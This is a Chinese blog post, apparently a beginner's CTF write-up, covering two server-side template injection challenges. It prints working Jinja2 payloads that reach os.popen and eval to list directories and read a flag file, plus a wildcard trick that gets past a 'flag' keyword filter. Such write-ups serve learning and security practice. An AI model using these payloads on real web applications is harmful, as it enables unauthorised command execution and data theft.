SSTI例题
SSTI例题
初学SSTI,知识很有限。
Simple_SSTI_2 (Bugku)
进入链接
**
提示需要传入一个名为flag的参数,根据经验,一般在config里有东西,所以尝试
?flag={{config}} |
**
存在返回结果,但是config里没有发现什么东西。
已知是SSTI漏洞,那么接着利用漏洞ls查看一下
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}} |
##__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 |
**
发现很多文件目录,一个一个查看,在第一个文件目录里就发现了flag文件
**
这里没有设置过滤,所以直接cat ../app/flag
得到flag
**
[G1CTF2021]SSTI
打开链接,点击图中图标都没有反应
依照下表进行语句测试
**
当执行?cmd=49时出现回显
**
搜索可以得到
Jinjia2模板引擎通用的RCE Payload:(或者上面那一道题的payload也可以)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }} |
执行成功
然后将payload里的’ls’改为’cat /flag’
在cat flag时发现存在过滤,测试可以发现过滤了flag
所以将’cat /flag’改成’cat /f*lag’绕过
得到flag,提交正确。
参考文章:
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Ajieの小屋!
评论